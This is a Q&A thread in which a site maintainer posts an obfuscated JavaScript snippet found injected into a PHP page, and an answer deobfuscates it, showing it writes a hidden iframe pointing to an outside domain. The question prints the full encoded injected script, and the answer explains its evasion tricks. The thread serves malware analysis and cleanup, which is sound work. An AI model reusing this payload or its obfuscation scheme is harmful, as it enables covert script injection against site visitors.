Reputation: 145
This script appeared in the index.php page of a website I help with:
<script type="text/javascript">$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$$_$+$._$+$.$$__+$._+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+$.__+".\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$_$+$.__$+$.__+$.$$$_+"('<"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+$.__+"\"+$.__$+$.$$$+$.__$+(![]+"")[$._$_]+$.$$$_+"=\\"\"+$.__$+$.$$_+$.$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$_$+$.__$+$.$_$$+"\"+$.__$+$.$_$+$.__$+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+$.__+"\"+$.__$+$.$$$+$.__$+":\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.$$_$+$.$$$_+"\"+$.__$+$.$_$+$.$$_+";\\"><\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"\"+$.$__+$.___+"\"+$.__$+$.$$_+$._$$+"\"+$.__$+$.$$_+$._$_+$.$$__+"=\\"\"+$.__$+$.$_$+$.___+$.__+$.__+"\"+$.__$+$.$$_+$.___+"://"+$.$$$$+"\"+$.__$+$.$$_+$._$_+".\"+$.__$+$.$__+$.$$$+$.$$$_+$._$+"\"+$.__$+$.$$_+$._$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"\"+$.__$+$.$_$+$._$$+$._$+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$_$+$.$$_+$.$$_$+$.$$_$+"\"+$.__$+$.$$_+$._$$+"."+$.$$__+$._$+"\"+$.__$+$.$_$+$.$_$+"/"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$._$_+$.$$$_+$.$$__+$.__+".\"+$.__$+$.$$_+$.___+"\"+$.__$+$.$_$+$.___+"\"+$.__$+$.$$_+$.___+"?\"+$.__$+$.$$_+$.___+$.$_$_+"\"+$.__$+$.$__+$.$$$+$.$$$_+"="+$.$__+$._$$+$.$$$$+$.$$_$+$.$$_$+$.$__$+$.$__+$.$$__+$.__$+$.$$_+$.$$$_+$._$_+$.$$_+$.$__+$.$$$+$.$$_$+"\\"\"+$.$__+$.___+"\"+$.__$+$.$$_+$.$$$+"\"+$.__$+$.$_$+$.__$+$.$$_$+$.__+"\"+$.__$+$.$_$+$.___+"=\\""+$.$__+$.$$_+$.$___+"\\"\"+$.$__+$.___+"\"+$.__$+$.$_$+$.___+$.$$$_+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.___+$.__+"=\\""+$.$$_+$.___+"\\"\"+$.$__+$.___+$.$_$_+(![]+"")[$._$_]+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$__+$.$$$+"\"+$.__$+$.$_$+$.$$_+"=\\""+(![]+"")[$._$_]+$.$$$_+$.$$$$+$.__+"\\">\"+$.__$+$.___+$._$$+$._$+$._+"\"+$.__$+$.$_$+$.$$_+$.__+$.$$$_+"\"+$.__$+$.$$_+$._$_+"</\"+$.__$+$.$_$+$.__$+$.$$$$+"\"+$.__$+$.$$_+$._$_+$.$_$_+"\"+$.__$+$.$_$+$.$_$+$.$$$_+"></"+$.$$_$+"\"+$.__$+$.$_$+$.__$+"\"+$.__$+$.$$_+$.$$_+">');"+"\"")())();
</script>
The only thing it seems to do is return an error when you try to open the page. I just removed it and everything works fine again, but we have no idea how it got there, and if it was supposed to actually do something possibly harmful. The website is hosted on aruba and both of the people who have access to the code haven't worked on this page at all lately.
Upvotes: 2
Views: 1059
Reputation: 20131
So now it's a puzzle.
Pretty printing the code, it has 4 stages:
The $ declaration is, like everything here, a bit odd:
$=~[];
In a Chrome console, this returns -1; evaluated in a numerical context, [] becomes 0, and ~ (the bitwise NOT operator in javascript) on 0 yields -1. So we have a variable assigned to -1. Unobfuscate!
v = -1;
Then a dictionary is constructed, with an unobfuscation:
$={ ___ : ++$, dct={ zero : 0,
$$$$ : (![] + "")[$], f : "f",
__$ : ++$, one : 1,
$_$_ : (![] + "")[$], a : "a",
_$_ : ++$, two : 2,
$_$$ : ({} + "")[$], b : "b",
$$_$ : ($[$] + "")[$], d : "d",
_$$ : ++$, three : 3,
$$$_ : (!"" + "")[$], e : "e",
$__ : ++$, four : 4,
$_$ : ++$, five : 5,
$$__ : ({} + "")[$], c : "c",
$$_ : ++$, six : 6,
$$$ : ++$, seven : 7,
$___ : ++$, eight : 8,
$__$ : ++$ nine : 9
}; };
So we have a dictionary with some values in it from 0 to 9, and the letters a to f. Anyone smell hex? The method to get the letters is to pick out substrings from predictable js-generated strings; a falsy value plus "" gives "false", for "a", "e" and "f". {}+""
gives [object Object]
, for b and c, and undefined
yields the d.
Next it constructs the $_ (we'll call it alpha) element of the dictionary ($.$_
) as a concatenation of a
series of strings (unobf names as defined so far, plus _$
becomes beta, $$
gamma, __
delta,
$
epsilon, _
phi):
(dct.alpha = dct + "")[dct.five] // dct.alpha = "[object Object]", yields "c"
(dct.beta = dct.alpha[dct.one]) // dct.beta="o", yields "o"
(dct.gamma = (dct.epsilon + "")[dct.one]) // dct.gamma="n", "n"
((!dct) + "")[dct.three] // "s"
(dct.delta = dct.alpha[dct.six]) // dct.delta="t", "t"
(dct.epsilon= (!"" + "")[dct.one]) // dct.epsilon="r", "r"
(dct.phi = (!"" + "")[dct.two]) // dct.phi = "u", "u"
dct.alpha[dct.5] // "c"
dct.delta // "t"
dct.beta // "o"
dct.epsilon // "r"
So all of this sets dct.alpha ($.$_
) to "constructor". Ominous. Similar setup for $.$$
(which we're calling gamma), which sets it to "return". The clouds thicken.
Another reassignment, this time for $.$
(our dct.epsilon), sets it to
dct.epsilon = (dct.zero)[dct.alpha][dct.alpha]
This is more than just an array lookup. dct.zero
is 0, so (0)["constructor"] is looking up the
"constructor" property of 0. Remember that in javascript a["b"] is the same as
a.b, so (0)["constructor"]["constructor"]
is 0.constructor.constructor
. The constructor of 0 is the Number function, and the constructor of the
Number function is the Function function. This function (pointer) is then assigned to dct.epsilon.
The worm has turned.
The final statement is a nested function call to $.$$
:
dct.epsilon( Function(
dct.epsilon( Function(
//long concatenation // something functiony
)() )()
)(); )()
The long concatenation will be passed to the function constructor and then immediately executed. The returned function from this function will also then be immediately executed.
In effect, everything we've seen so far is scaffolding. Almost any function could be constructed this way, although we have an idea of the letters that will be used. I would hazard a guess that the above is a generic obfuscation that can hold whatever payload is desired.
The string that is constructed character-by-characeter is:
return "docu\155e\156t.\167\162\151te('<d \151 ... // continues
So we can see that there are escaped sequences there. In fact, the return tells us that the whole docu... string will be helpfully unescaped and then returned wholesale, ready for the outer call to call it.
So the outer call will recieve this now unescaped string (formatting and splitting the string for readability):
document.write( '' + ''+ 'Counter'+ ''+ '' );
Where I've put 'HEXYHEXY' instead of the hex string that was there - it would presumaby link your site or perhaps the virus author to this page, which we don't really want. The domain in the iframe src might be connected to the virus author, or it might be just another compromised page; a worm could presumably use one host to direct another via this virus as an intermediary. My guess is that it just drives fake page impressions - every time your page is hit, so is the target page, but no-one sees the advert etc because of the hidden div container. The 'Counter' bit is just an attempt to hide the secret in plain sight; if you looked at the browser's representation of the page, all you see is an innocent-looking Counter iframe.
The virus author has a few tricks here to evade simple methods of finding such scripts:
\155
becomes 'm', so the letter is never in a plain string.eval
(![]+"")[3] = "false"[3] = "s"
to pick out individual characters without putting them in plain strings$
and _
in the name to confuse a human reader(a=b)
returns the value of a, so (a=b)
[3] returns a substring on the value of the assignment, whilst also making the assignmenta = {(a=3):"b",++a:"c"}
All of these are things that are a very bad idea in normal code, for the very reason they are here: they make the code hard to read or understand.
Upvotes: 6
Reputation: 63442
It's likely a virus. These kinds of viruses work by infecting a host machine (which is almost always Windows), then copying themselves in any HTML files they can find. When you then open a connection to the server, the "infected" HTML files get copied over and in the end, you end up inadvertently infecting or causing harm to your visitors.
Keep your anti-virus up to date.
Upvotes: 2